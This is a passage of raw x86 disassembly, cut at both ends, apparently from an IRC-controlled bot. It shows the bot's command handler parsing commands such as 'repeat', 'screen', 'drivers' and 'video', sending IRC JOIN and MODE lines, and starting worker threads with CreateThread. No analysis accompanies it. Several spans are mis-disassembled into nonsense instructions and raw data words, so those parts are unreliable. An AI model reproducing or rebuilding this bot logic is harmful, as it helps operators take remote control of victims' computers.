loc_408338: ; CODE XREF: seg000:0040830Ej
cmp [ebp-3A58h], ebx
jz short loc_408330
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_408345: ; CODE XREF: seg000:00406569j
; seg000:00406580j
push 44h
lea eax, [ebp-664h]
pop esi
push esi
push ebx
push eax
call sub_41B780
push dword ptr [ebp+18h]
mov [ebp-664h], esi
xor esi, esi
mov [ebp-634h], bx
inc esi
mov [ebp-638h], esi
call sub_41B969
add esp, 10h
cmp eax, esi
jnz short loc_408384
mov word ptr [ebp-634h], 5
loc_408384: ; CODE XREF: seg000:00408379j
cmp [ebp-0Ch], ebx
jz loc_406C7F
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406C7F
lea eax, [ebp-0DACh]
push eax
lea eax, [ebp-664h]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 0B10000h
and al, 85h
ror byte ptr [ebp-2BF7Bh], 0FFh
jnz short loc_4083D3
push offset unk_42B748
jmp loc_406205
; ---------------------------------------------------------------------------
loc_4083D3: ; CODE XREF: seg000:004083C7j
push edi
push offset dword_42B72C
jmp loc_406C76
; ---------------------------------------------------------------------------
loc_4083DE: ; CODE XREF: seg000:0040653Bj
; seg000:00406552j
push edi
push offset aFenr ; "FEnR"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408550
lea eax, [ebp-48ECh]
push eax
push 104h
call near ptr 0B10000h
and ebp, [eax-1]
; ---------------------------------------------------------------------------
db 0
dd 858D0000h, 0FFFFD78Ch, 501875FFh, 133C7E8h, 6C858D00h
dd 50FFFFE8h, 2846E8h, 858D5000h, 0FFFFB714h, 8C858D50h
dd 68FFFFD8h, 42B720h, 3638E850h, 848B0001h, 0FFFF7C35h
dd 20C483FFh, 85C7C33Bh, 0FFFFD990h, 1, 0D9949D89h, 1474FFFFh
dd 5053106Ah, 13B50E8h, 0CC48300h, 0D99C8589h, 6EBFFFFh
dd 0D99C9D89h, 748BFFFFh, 0F33B8035h, 0E8560F74h, 134E5h
dd 98858959h, 0EBFFFFD9h, 989D8906h, 0FFFFFD9h, 0F70985B6h
dd 758BFFFFh, 0FF7F6A0Ch, 0FFFF78B5h, 0A08589FFh, 8DFFFFD9h
dd 0FFD70C85h, 8B589FFh, 50FFFFD7h, 13323E8h, 0FC458B00h
dd 891875FFh, 0FFD9A885h, 0F8458BFFh, 0D9A48589h, 858DFFFFh
dd 0FFFFFD40h, 42B6F468h, 93E85000h, 56000135h, 0FD40858Dh
dd 1E6AFFFFh, 2A7FE850h, 0C4830000h, 8C858924h, 8DFFFFD9h
dd 8D50F045h, 0FFD70885h, 685053FFh, 41647Eh, 15FF5353h
dd 42807Ch, 0D98C8D8Bh, 0C969FFFFh, 234h, 8189C33Bh, 440B4Ch
dd 15FF1975h, 42808Ch, 0B6B86850h, 35E90042h, 6AFFFFE7h
dd 6415FF32h, 39004280h, 0FFD9AC9Dh, 0E9F074FFh, 0FFFFE72Fh
; ---------------------------------------------------------------------------
loc_408550: ; CODE XREF: seg000:004083EDj
push offset dword_42B670
jmp loc_4061FF
; ---------------------------------------------------------------------------
loc_40855A: ; CODE XREF: seg000:0040650Dj
; seg000:00406524j
push dword ptr [ebp-8Ch]
push offset dword_42DFCC
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_401F82
cmp [ebp-0Ch], ebx
jz loc_401F82
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-88h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push offset dword_42B65C
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41B7E0
push dword ptr [ebp+18h]
call sub_41B969
add esp, 30h
test eax, eax
jle short loc_4085E3
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 3E8h
pop ecx
push eax
call ds:dword_428064 ; Sleep
loc_4085E3: ; CODE XREF: seg000:004085CBj
push offset dword_42B648
call sub_4152AE
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_4085F7: ; CODE XREF: seg000:004064DFj
; seg000:004064F6j
push dword ptr [ebp-8Ch]
push offset dword_42DFCC
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_401F82
cmp [ebp-0Ch], ebx
jz loc_409753
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C260
add esp, 10h
test eax, eax
push esi
lea eax, [ebp-2C0h]
jz short loc_4086B2
push dword ptr [ebp-88h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push offset dword_42B65C
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41B7E0
push esi
lea eax, [ebp-2C0h]
push offset dword_42B630
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
push dword ptr [ebp+18h]
call sub_41B969
add esp, 38h
test eax, eax
jle loc_409753
push dword ptr [ebp+18h]
call sub_41B969
add eax, [ebp+2Ch]
pop ecx
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_4086B2: ; CODE XREF: seg000:0040863Dj
push offset unk_42B5FC
jmp loc_408F37
; ---------------------------------------------------------------------------
loc_4086BC: ; CODE XREF: seg000:004064B1j
; seg000:004064C8j
push 7Fh
lea eax, [ebp-207Ch]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push 7Fh
lea eax, [ebp-1FFCh]
push edi
push eax
call sub_41B7E0
push 7Fh
lea eax, [ebp-1F7Ch]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-1EF8h], eax
mov eax, [ebp-8]
push edi
mov [ebp-1EF4h], eax
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
mov [ebp-2080h], esi
push offset unk_42B5C8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 0Fh
push eax
call sub_40AF71
add esp, 40h
mov [ebp-1EFCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2080h]
push ebx
push eax
push offset word_4144F2
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-1EFCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_408780
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B58C
jmp loc_408844
; ---------------------------------------------------------------------------
loc_408778: ; CODE XREF: seg000:00408786j
push 32h
call ds:dword_428064 ; Sleep
loc_408780: ; CODE XREF: seg000:00408765j
cmp [ebp-1EF0h], ebx
jz short loc_408778
jmp loc_408853
; ---------------------------------------------------------------------------
loc_40878D: ; CODE XREF: seg000:00406483j
; seg000:0040649Aj
push 7Fh
lea eax, [ebp-23A4h]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push 7Fh
lea eax, [ebp-2324h]
push edi
push eax
call sub_41B7E0
push 7Fh
lea eax, [ebp-22A4h]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-2220h], eax
mov eax, [ebp-8]
push edi
mov [ebp-221Ch], eax
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
mov [ebp-23A8h], esi
push offset dword_42B560
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 11h
push eax
call sub_40AF71
add esp, 40h
mov [ebp-2224h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-23A8h]
push ebx
push eax
push offset word_413C9A
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-2224h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40887B
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42B524
loc_408844: ; CODE XREF: seg000:00408773j
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
loc_408853: ; CODE XREF: seg000:00408788j
; seg000:00408883j
cmp [ebp-8], ebx
jnz loc_403FC8
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push esi
jmp loc_403FC0
; ---------------------------------------------------------------------------
loc_408873: ; CODE XREF: seg000:00408881j
push 32h
call ds:dword_428064 ; Sleep
loc_40887B: ; CODE XREF: seg000:00408836j
cmp [ebp-2218h], ebx
jz short loc_408873
jmp short loc_408853
; ---------------------------------------------------------------------------
loc_408885: ; CODE XREF: seg000:00406455j
; seg000:0040646Cj
push edi
lea eax, [ebp-2C0h]
push offset dword_42B51C
push eax
call sub_41BA76
push dword ptr [ebp+18h]
call sub_41B969
add esp, 10h
loc_4088A2: ; CODE XREF: seg000:0040890Dj
test eax, eax
jle loc_409753
push dword ptr [ebp+18h]
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
loc_4088BE: ; CODE XREF: seg000:00409484j
lea eax, [ebp-2C0h]
push eax
push offset dword_42B514
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409920
jmp loc_404968
; ---------------------------------------------------------------------------
loc_4088E9: ; CODE XREF: seg000:00406427j
; seg000:0040643Ej
push dword ptr [ebp+esi-84h]
lea eax, [ebp-2C0h]
push edi
push offset dword_42B508
push eax
call sub_41BA76
push dword ptr [ebp+18h]
call sub_41B969
add esp, 14h
jmp short loc_4088A2
; ---------------------------------------------------------------------------
loc_40890F: ; CODE XREF: seg000:004063F9j
; seg000:00406410j
push edi
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
mov esi, [ebp+18h]
push esi
call sub_41B969
add esp, 10h
test eax, eax
jle loc_409753
push esi
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
lea eax, [ebp-2C0h]
push eax
push offset dword_42B514
push esi
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409920
push edi
push esi
push offset dword_42B4EC
loc_408972: ; CODE XREF: seg000:004089FAj
; seg000:00408A66j ...
call sub_415322
jmp loc_404276
; ---------------------------------------------------------------------------
loc_40897C: ; CODE XREF: seg000:004063CBj
; seg000:004063E2j
cmp [ebp-0Ch], ebx
jz loc_409753
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089AB
push esi
lea eax, [ebp-2C0h]
push offset dword_42B4E4
push eax
call sub_41BA76
add esp, 0Ch
loc_4089AB: ; CODE XREF: seg000:00408994j
mov edi, [ebp+18h]
push edi
call sub_41B969
test eax, eax
pop ecx
jle loc_409753
push edi
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
lea eax, [ebp-2C0h]
push eax
push offset dword_42B514
push edi
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409920
push esi
push edi
push offset dword_42B4C8
jmp loc_408972
; ---------------------------------------------------------------------------
loc_4089FF: ; CODE XREF: seg000:0040639Dj
; seg000:004063B4j
cmp [ebp-0Ch], ebx
jz loc_409753
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409753
mov edi, [ebp+18h]
push edi
call sub_41B969
test eax, eax
pop ecx
jle loc_409753
push edi
call sub_41B969
cmp eax, 400h
pop ecx
jge loc_409753
push esi
push offset dword_42B514
push edi
call sub_41B969
imul eax, 234h
pop ecx
push ds:dword_440B44[eax]
call sub_409920
push esi
push edi
push offset dword_42B4AC
jmp loc_408972
; ---------------------------------------------------------------------------
loc_408A6B: ; CODE XREF: seg000:0040636Fj
; seg000:00406386j
cmp [ebp-0Ch], ebx
jz loc_409753
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409753
push esi
push offset aModeS ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push esi
push offset unk_42B484
loc_408A9F: ; CODE XREF: seg000:0040961Dj
; seg000:0040963Aj ...
call sub_415322
jmp loc_4034C3
; ---------------------------------------------------------------------------
loc_408AA9: ; CODE XREF: seg000:00406341j
; seg000:00406358j
push dword ptr [ebp-8Ch]
push offset dword_42DFCC
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_401F82
push edi
push offset dword_42B478
push dword ptr [ebp+0Ch]
call sub_409920
push dword ptr [ebp+18h]
call sub_41B969
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_428064 ; Sleep
push dword ptr [ebp+esi-84h]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push offset dword_42B464
call sub_4152AE
jmp loc_4034C3
; ---------------------------------------------------------------------------
loc_408B0D: ; CODE XREF: seg000:00406313j
; seg000:0040632Aj
cmp [ebp-0Ch], ebx
jz loc_409753
push dword ptr [ebp+18h]
call sub_41B1D0
push dword ptr [ebp+10h]
mov esi, eax
call sub_41B1D0
add eax, [ebp-0Ch]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41BAF0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409753
push esi
lea eax, [ebp-2C0h]
push offset dword_42BB9C
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push ebx
push eax
push dword ptr [ebp+18h]
push dword ptr [ebp+0Ch]
call sub_409966
push esi
push dword ptr [ebp+18h]
push offset unk_42B448
call sub_415322
add esp, 2Ch
jmp loc_409753
; ---------------------------------------------------------------------------
loc_408B7F: ; CODE XREF: seg000:004062E5j
; seg000:004062FCj
cmp [ebp-0Ch], ebx
jz loc_409753
push dword ptr [ebp+18h]
call sub_41B1D0
push dword ptr [ebp+10h]
mov esi, eax
call sub_41B1D0
add eax, [ebp-0Ch]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41BAF0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409753
push ebx
push ebx
push esi
push dword ptr [ebp+18h]
push dword ptr [ebp+0Ch]
call sub_409966
push esi
push dword ptr [ebp+18h]
push offset unk_42B428
call sub_415322
add esp, 20h
jmp loc_409753
; ---------------------------------------------------------------------------
loc_408BD9: ; CODE XREF: seg000:004062B7j
; seg000:004062CEj
cmp [ebp-0Ch], ebx
jz loc_401F82
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F82
push eax
push dword ptr [ebp+18h]
call sub_4151B6
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_42B408
push eax
call sub_41BA76
add esp, 14h
jmp loc_403FA7
; ---------------------------------------------------------------------------
loc_408C1A: ; CODE XREF: seg000:00406289j
; seg000:004062A0j
push edi
push dword ptr [ebp+18h]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4186C5
loc_408C2F: ; CODE XREF: seg000:004040ECj
add esp, 14h
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_408C37: ; CODE XREF: seg000:0040624Bj
; seg000:00406260j
push dword ptr [ebp+18h]
push dword ptr [ebp+24h]
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz loc_409753
mov esi, [ebp+esi-88h]
cmp esi, ebx
jz short loc_408CD2
push esi
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp-2C0h]
jz short loc_408CC0
push esi
push dword ptr [ebp-88h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push offset dword_42B65C
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41B7E0
push esi
lea eax, [ebp-2C0h]
push dword ptr [ebp+18h]
push offset unk_42B3E0
push eax
call sub_41BA76
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_4090A4
; ---------------------------------------------------------------------------
loc_408CC0: ; CODE XREF: seg000:00408C6Cj
push offset unk_42B3B0
push eax
call sub_41BA76
pop ecx
pop ecx
jmp loc_4090A4
; ---------------------------------------------------------------------------
loc_408CD2: ; CODE XREF: seg000:00408C55j
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_41AECC
add esp, 0Ch
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset dword_42B394
push 200h
push eax
call sub_41BB70
add esp, 24h
jmp loc_4090A4
; ---------------------------------------------------------------------------
loc_408D1B: ; CODE XREF: seg000:00406221j
; seg000:00406236j
push offset aScreen ; "screen"
push dword ptr [ebp+18h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_408D76
mov edi, [ebp+esi-88h]
cmp edi, ebx
jz short loc_408D63
push edi
call loc_4154BE
cmp eax, 1
pop ecx
lea eax, [ebp-2C0h]
jnz short loc_408D5C
push edi
push offset unk_42B360
push eax
call sub_41BA76
add esp, 0Ch
jmp short loc_408D76
; ---------------------------------------------------------------------------
loc_408D5C: ; CODE XREF: seg000:00408D49j
push offset unk_42B330
jmp short loc_408D6E
; ---------------------------------------------------------------------------
loc_408D63: ; CODE XREF: seg000:00408D37j
push offset unk_42B2F4
lea eax, [ebp-2C0h]
loc_408D6E: ; CODE XREF: seg000:00408D61j
push eax
call sub_41BA76
pop ecx
pop ecx
loc_408D76: ; CODE XREF: seg000:00408D2Cj
; seg000:00408D5Aj
push offset aDrivers ; "drivers"
push dword ptr [ebp+18h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_408E03
xor edi, edi
loc_408D8B: ; CODE XREF: seg000:00408DEEj
lea eax, [ebp-53F4h]
push 1FFh
push eax
lea eax, [ebp-4EECh]
push 0FFh
push eax
push edi
call ds:dword_4CDC28
test eax, eax
jz short loc_408DEA
lea eax, [ebp-53F4h]
push eax
lea eax, [ebp-4EECh]
push eax
push edi
lea eax, [ebp-5D84h]
push offset unk_42B2C4
push eax
call sub_41BA76
push ebx
lea eax, [ebp-5D84h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 28h
loc_408DEA: ; CODE XREF: seg000:00408DACj
inc edi
cmp edi, 0Ah
jl short loc_408D8B
lea eax, [ebp-2C0h]
push offset unk_42B29C
push eax
call sub_41BA76
pop ecx
pop ecx
loc_408E03: ; CODE XREF: seg000:00408D87j
push offset aFrame ; "frame"
push dword ptr [ebp+18h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_408EA4
cmp [ebp+esi-88h], ebx
jz short loc_408E91
cmp [ebp+esi-84h], ebx
jz short loc_408E91
mov edi, [ebp+esi-80h]
cmp edi, ebx
jz short loc_408E91
mov eax, [ebp+esi-7Ch]
cmp eax, ebx
jz short loc_408E91
push eax
call sub_41B969
pop ecx
push eax
push edi
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+esi-84h]
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+esi-88h]
call sub_4156F9
add esp, 10h
test eax, eax
lea eax, [ebp-2C0h]
jnz short loc_408E8A
push dword ptr [ebp+esi-88h]
push offset unk_42B268
push eax
call sub_41BA76
add esp, 0Ch
jmp short loc_408EA4
; ---------------------------------------------------------------------------
loc_408E8A: ; CODE XREF: seg000:00408E71j
push offset unk_42B234
jmp short loc_408E9C
; ---------------------------------------------------------------------------
loc_408E91: ; CODE XREF: seg000:00408E21j
; seg000:00408E2Aj ...
push offset unk_42B1FC
lea eax, [ebp-2C0h]
loc_408E9C: ; CODE XREF: seg000:00408E8Fj
push eax
call sub_41BA76
pop ecx
pop ecx
loc_408EA4: ; CODE XREF: seg000:00408E14j
; seg000:00408E88j
push offset aVideo ; "video"
push dword ptr [ebp+18h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_409083
mov eax, [ebp+esi-88h]
cmp eax, ebx
mov [ebp+24h], eax
jz loc_408F4F
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+8], eax
jz short loc_408F4F
mov eax, [ebp+esi-80h]
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_408F4F
mov edi, [ebp+esi-7Ch]
cmp edi, ebx
jz short loc_408F4F
mov esi, [ebp+esi-78h]
cmp esi, ebx
jz short loc_408F4F
push esi
call sub_41B969
pop ecx
push eax
push edi
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+20h]
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+8]
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+24h]
call sub_4158F2
add esp, 14h
test eax, eax
lea eax, [ebp-2C0h]
jnz short loc_408F45
push dword ptr [ebp+24h]
push offset unk_42B1C8
loc_408F37: ; CODE XREF: seg000:004086B7j
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_409083
; ---------------------------------------------------------------------------
loc_408F45: ; CODE XREF: seg000:00408F2Dj
push offset unk_42B188
jmp loc_40907B
; ---------------------------------------------------------------------------
loc_408F4F: ; CODE XREF: seg000:00408EC7j
; seg000:00408ED9j ...
push offset unk_42B148
lea eax, [ebp-2C0h]
jmp loc_40907B
; ---------------------------------------------------------------------------
loc_408F5F: ; CODE XREF: seg000:00405B2Cj
; seg000:00405B41j
push offset aR ; "r"
push dword ptr [ebp+18h]
call sub_41B6B2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_408FDD
mov esi, 200h
push edi
lea eax, [ebp-2C0h]
push esi
push eax
call sub_41BD3F
add esp, 0Ch
jmp short loc_408FB7
; ---------------------------------------------------------------------------
loc_408F8C: ; CODE XREF: seg000:00408FB9j
push 1
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push edi
lea eax, [ebp-2C0h]
push esi
push eax
call sub_41BD3F
add esp, 20h
loc_408FB7: ; CODE XREF: seg000:00408F8Aj
test eax, eax
jnz short loc_408F8C
push edi
call sub_41B24B
push dword ptr [ebp+18h]
lea eax, [ebp-2C0h]
push offset unk_42B124
push eax
call sub_41BA76
add esp, 10h
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_408FDD: ; CODE XREF: seg000:00408F72j
push dword ptr [ebp+18h]
push offset unk_42B100
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_408FEA: ; CODE XREF: seg000:00405B02j
; seg000:00405B17j
cmp [ebp-0Ch], ebx
jz loc_409753
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BAF0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409753
push offset asc_42B0FC ; "\n"
push esi
call sub_41C0B0
push esi
call sub_419C1B
add esp, 0Ch
test eax, eax
lea eax, [ebp-2C0h]
jnz short loc_40902F
push offset unk_42B0D0
jmp short loc_40907B
; ---------------------------------------------------------------------------
loc_40902F: ; CODE XREF: seg000:00409026j
push esi
push offset dword_42B0B8
push eax
call sub_41BA76
add esp, 0Ch
jmp short loc_4090A4
; ---------------------------------------------------------------------------
loc_409040: ; CODE XREF: seg000:00405AD8j
; seg000:00405AEDj
cmp [ebp-0Ch], ebx
jz loc_409753
push dword ptr [ebp+18h]
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409753
push eax
call loc_4183F5
test eax, eax
pop ecx
lea eax, [ebp-2C0h]
jnz short loc_409076
push offset unk_42B098
jmp short loc_40907B
; ---------------------------------------------------------------------------
loc_409076: ; CODE XREF: seg000:0040906Dj
push offset dword_42B07C
loc_40907B: ; CODE XREF: seg000:00408F4Aj
; seg000:00408F5Aj ...
push eax
call sub_41BA76
pop ecx
pop ecx
loc_409083: ; CODE XREF: seg000:00408EB5j
; seg000:00408F40j
cmp [ebp-8], ebx
jnz short loc_4090A4
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_4090A4: ; CODE XREF: seg000:00408CBBj
; seg000:00408CCDj ...
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
pop ecx
jmp loc_409753
; ---------------------------------------------------------------------------
loc_4090B6: ; CODE XREF: seg000:00405AAEj
; seg000:00405AC3j
push 7Fh
lea eax, [ebp-2210h]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
mov esi, [ebp+esi-88h]
add esp, 0Ch
cmp esi, ebx
jz short loc_4090E7
push 7Fh
lea eax, [ebp-2190h]
push esi
push eax
call sub_41B7E0
add esp, 0Ch
loc_4090E7: ; CODE XREF: seg000:004090D3j
push 7Fh
lea eax, [ebp-2110h]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
mov eax, [ebp+0Ch]
push dword ptr [ebp+18h]
mov [ebp-2214h], eax
mov eax, [ebp-8]
mov [ebp-208Ch], eax
mov eax, [ebp-4]
mov [ebp-2088h], eax
lea eax, [ebp-2C0h]
push offset dword_42B064
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 1Ch
push eax
call sub_40AF71
add esp, 24h
mov [ebp-2090h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2214h]
push ebx
push eax
push offset sub_41AF92
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-2090h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40918A
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B024
jmp loc_404470
; ---------------------------------------------------------------------------
loc_409182: ; CODE XREF: seg000:00409190j
push 32h
call ds:dword_428064 ; Sleep
loc_40918A: ; CODE XREF: seg000:0040916Fj
cmp [ebp-2084h], ebx
jz short loc_409182
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_409197: ; CODE XREF: seg000:00405A84j
; seg000:00405A99j
push ebx
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+18h]
call sub_40FCD8
push dword ptr [ebp+18h]
push offset dword_42B00C
jmp loc_408972
; ---------------------------------------------------------------------------
loc_4091B6: ; CODE XREF: seg000:00405A5Aj
; seg000:00405A6Fj
push 14h
lea eax, [ebp-1D44h]
push ebx
push eax
call sub_41B780
push dword ptr [ebp+18h]
lea eax, [ebp-1D30h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
mov eax, [ebp+0Ch]
mov [ebp-1D4Ch], eax
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-1C2Ch]
push 80h
push eax
call sub_41BB70
mov eax, [ebp-4]
mov [ebp-1BA4h], eax
mov eax, [ebp-8]
mov [ebp-1BA0h], eax
lea eax, [ebp-1C2Ch]
push eax
lea eax, [ebp-1D30h]
push eax
lea eax, [ebp-2C0h]
push offset unk_42AFE8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 1Ah
push eax
call sub_40AF71
add esp, 40h
mov [ebp-1BA8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1D4Ch]
push ebx
push eax
push offset sub_415EA1
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-1BA8h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40928B
loc_409272: ; CODE XREF: seg000:00402292j
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42AFAC
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_409283: ; CODE XREF: seg000:00409291j
push 32h
call ds:dword_428064 ; Sleep
loc_40928B: ; CODE XREF: seg000:00409270j
cmp [ebp-1B9Ch], ebx
jz short loc_409283
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_409298: ; CODE XREF: seg000:00405A30j
; seg000:00405A45j
push dword ptr [ebp+18h]
call near ptr 0B10000h
sub [ebp-0F58B40h], al
jnz short loc_4092C0
push offset dword_42AF90
jmp short loc_4092BA
; ---------------------------------------------------------------------------
push offset unk_42B7D8
call sub_418330
push eax
loc_4092BA: ; CODE XREF: seg000:004092ADj
lea eax, [ebp-2C0h]
loc_4092C0: ; CODE XREF: seg000:004092A6j
push 200h
push eax
call sub_41BB70
loc_4092CB: ; CODE XREF: seg000:004093A0j
add esp, 10h
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_4092D3: ; CODE XREF: seg000:00405A06j
; seg000:00405A1Bj
push dword ptr [ebp+18h]
call sub_41B969
push eax
call near ptr sub_419B94
xor esi, esi
pop ecx
inc esi
pop ecx
push dword ptr [ebp+18h]
cmp eax, esi
lea eax, [ebp-2C0h]
jnz short loc_4092FA
push offset unk_42AF6C
jmp short loc_4092FF
; ---------------------------------------------------------------------------
loc_4092FA: ; CODE XREF: seg000:004092F1j
push offset unk_42AF3C
loc_4092FF: ; CODE XREF: seg000:004092F8j
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_406CA3
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
jmp loc_406CA3
; ---------------------------------------------------------------------------
loc_409332: ; CODE XREF: seg000:004059DCj
; seg000:004059F1j
push ebx
push ebx
push dword ptr [ebp+18h]
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call loc_419893
add esp, 18h
cmp eax, 1
